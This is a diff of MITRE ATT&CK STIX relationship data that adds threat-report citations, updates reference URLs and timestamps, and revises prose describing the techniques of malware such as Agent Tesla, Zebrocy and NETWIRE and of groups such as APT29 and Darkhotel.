-110726,14 +112176,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "type": "relationship", - "modified": "2020-03-16T17:51:39.992Z", + "modified": "2021-04-21T16:41:34.720Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -111275,18 +112725,23 @@ ], "external_references": [ { - "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018." + "source_name": "Fortinet Agent Tesla April 2018" + }, + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." } ], - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can add itself to the Registry as a startup program to establish persistence.(Citation: Fortinet Agent Tesla April 2018)", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can add itself to the Registry as a startup program to establish persistence.(Citation: Fortinet Agent Tesla April 2018)(Citation: SentinelLabs Agent Tesla Aug 2020) ", "id": "relationship--0ecaa94b-3ad8-4de5-9cf2-81069676cfa3", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-05-28T23:41:03.880Z", + "modified": "2020-12-11T22:38:19.613Z", "created": "2019-01-29T18:44:04.954Z" }, { @@ -111781,15 +113236,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "type": "relationship", - "modified": "2020-03-16T20:05:43.596Z", + "modified": "2021-04-22T14:35:25.543Z", "created": "2019-01-30T17:43:28.261Z" }, { @@ -111851,23 +113311,28 @@ "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." }, { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" }, { - "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", - "source_name": "Accenture SNAKEMACKEREL Nov 2018" + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "relationship_type": "uses", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "type": "relationship", - "modified": "2019-07-17T01:18:32.794Z", + "modified": "2020-12-09T21:54:33.639Z", "created": "2019-01-30T18:39:48.457Z" }, { @@ -112492,22 +113957,27 @@ { "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2019-09-03T18:50:16.525Z", + "modified": "2020-12-17T18:57:21.557Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -113580,7 +115050,7 @@ { "id": "relationship--023ff141-8ed7-4132-85a0-494fe075236b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.(Citation: Unit 42 Magic Hound Feb 2017) [Magic Hound](https://attack.mitre.org/groups/G0059) used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.(Citation: Check Point Rocket Kitten)", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.(Citation: Unit 42 Magic Hound Feb 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -113589,18 +115059,13 @@ "source_name": "Unit 42 Magic Hound Feb 2017", "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" - }, - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." } ], "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-07-04T22:55:43.624Z", + "modified": "2021-04-14T14:10:54.613Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -113990,27 +115455,6 @@ "modified": "2019-08-20T13:08:13.540Z", "created": "2017-05-31T21:33:27.036Z" }, - { - "id": "relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "type": "relationship", - "modified": "2020-03-16T16:30:07.851Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -114472,15 +115916,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM June 2016) ", "id": "relationship--02052736-4888-47b0-9eb4-4031a4061998", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "type": "relationship", - "modified": "2020-03-16T20:05:43.598Z", + "modified": "2021-04-05T20:52:47.633Z", "created": "2019-01-30T17:43:28.226Z" }, { @@ -114755,7 +116204,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "type": "relationship", - "modified": "2020-07-09T13:54:28.892Z", + "modified": "2021-04-24T13:23:48.938Z", "created": "2017-05-31T21:33:27.021Z" }, { @@ -114800,7 +116249,7 @@ "source_name": "SecureWorks BRONZE UNION June 2017" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" }, @@ -114812,7 +116261,7 @@ ], "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Unit42 Emissary Panda May 2019)", "type": "relationship", - "modified": "2019-07-14T21:15:55.626Z", + "modified": "2021-03-29T19:43:26.889Z", "created": "2017-05-31T21:33:27.063Z" }, { @@ -115394,14 +116843,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2019-04-24T23:17:25.150Z", + "modified": "2020-11-23T17:03:38.801Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -115415,14 +116864,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "type": "relationship", - "modified": "2020-03-25T15:56:13.994Z", + "modified": "2020-11-23T17:03:38.834Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -115493,27 +116942,6 @@ "modified": "2019-04-29T18:01:20.635Z", "created": "2018-01-16T16:13:52.465Z" }, - { - "id": "relationship--8924eb12-0841-48ca-9d36-69de932b1f21", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that communicates over commonly used ports. The C2 protocol is encapsulated in common application layer protocols.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", - "type": "relationship", - "modified": "2019-06-06T19:04:39.505Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -115538,7 +116966,7 @@ { "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.(Citation: Microsoft SIR Vol 19)(Citation: DOJ GRU Indictment Jul 2018)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.(Citation: Microsoft SIR Vol 19)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm Dec 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -115552,13 +116980,18 @@ "source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-03-16T19:59:14.644Z", + "modified": "2021-01-13T21:54:30.296Z", "created": "2017-05-31T21:33:27.039Z" }, { @@ -115680,13 +117113,13 @@ }, { "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." } ], "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: DOJ APT10 Dec 2018)", "type": "relationship", - "modified": "2019-09-03T18:50:16.907Z", + "modified": "2020-12-17T15:58:16.953Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -115983,22 +117416,37 @@ { "id": "relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) used named and hijacked scheduled tasks to establish persistence.(Citation: Mandiant No Easy Breach)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used scheduler and schtasks to create new tasks on remote hosts as part of lateral movement.(Citation: Volexity SolarWinds) They have manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.(Citation: FireEye SUNBURST Backdoor December 2020) [APT29](https://attack.mitre.org/groups/G0016) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted during the 2020 SolarWinds intrusion.(Citation: CrowdStrike SUNSPOT Implant January 2021) They previously used named and hijacked scheduled tasks to also establish persistence.(Citation: Mandiant No Easy Breach)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Mandiant No Easy Breach", + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + }, + { + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", - "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + "source_name": "Mandiant No Easy Breach" } ], "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "type": "relationship", - "modified": "2020-03-28T21:22:03.748Z", + "modified": "2021-04-19T14:07:39.269Z", "created": "2017-05-31T21:33:27.049Z" }, { @@ -116250,7 +117698,7 @@ { "id": "relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password and keychains.(Citation: objsee mac malware 2017)", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password.(Citation: objsee mac malware 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -116263,9 +117711,9 @@ ], "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "relationship_type": "uses", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "type": "relationship", - "modified": "2020-03-25T18:03:46.121Z", + "modified": "2021-01-22T16:19:13.138Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -116700,62 +118148,6 @@ "modified": "2020-03-16T17:46:07.875Z", "created": "2017-12-14T16:46:06.044Z" }, - { - "id": "relationship--522c0d0b-74aa-457f-8c2c-43a6fd75f35d", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", - "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", - "source_name": "Talos Cobalt Group July 2018" - }, - { - "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", - "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", - "source_name": "PTSecurity Cobalt Group Aug 2017" - }, - { - "url": "https://www.group-ib.com/blog/cobalt", - "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", - "source_name": "Group IB Cobalt Aug 2017" - }, - { - "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target", - "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", - "source_name": "Proofpoint Cobalt June 2017" - }, - { - "url": "https://www.riskiq.com/blog/labs/cobalt-strike/", - "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", - "source_name": "RiskIQ Cobalt Nov 2017" - }, - { - "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/", - "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", - "source_name": "RiskIQ Cobalt Jan 2018" - }, - { - "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report", - "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", - "source_name": "Crowdstrike Global Threat Report Feb 2018" - }, - { - "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", - "source_name": "TrendMicro Cobalt Group Nov 2017" - } - ], - "description": "(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", - "type": "relationship", - "modified": "2019-07-26T23:38:34.317Z", - "created": "2018-10-17T00:14:20.652Z" - }, { "id": "relationship--1ec5ed3d-92af-4a86-b9db-42e506e661d3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -116879,16 +118271,16 @@ "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "relationship_type": "uses", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "type": "relationship", - "modified": "2020-03-17T17:37:09.289Z", + "modified": "2021-01-25T15:43:45.880Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -117004,7 +118396,7 @@ { "id": "relationship--06eb051c-74d0-4bbd-8cdf-1018b3c2e748", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.(Citation: McAfee Netwire Mar 2015)", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.(Citation: McAfee Netwire Mar 2015)(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -117013,13 +118405,28 @@ "source_name": "McAfee Netwire Mar 2015", "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + }, + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." } ], "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-03-16T17:21:37.044Z", + "modified": "2021-01-12T18:40:26.140Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -117305,7 +118712,7 @@ "external_references": [ { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" }, { @@ -117320,7 +118727,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "type": "relationship", - "modified": "2020-07-15T19:28:00.923Z", + "modified": "2021-03-29T19:49:11.281Z", "created": "2019-01-29T14:51:06.742Z" }, { @@ -117354,15 +118761,20 @@ "source_name": "DigiTrust Agent Tesla Jan 2017", "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018." + }, + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": 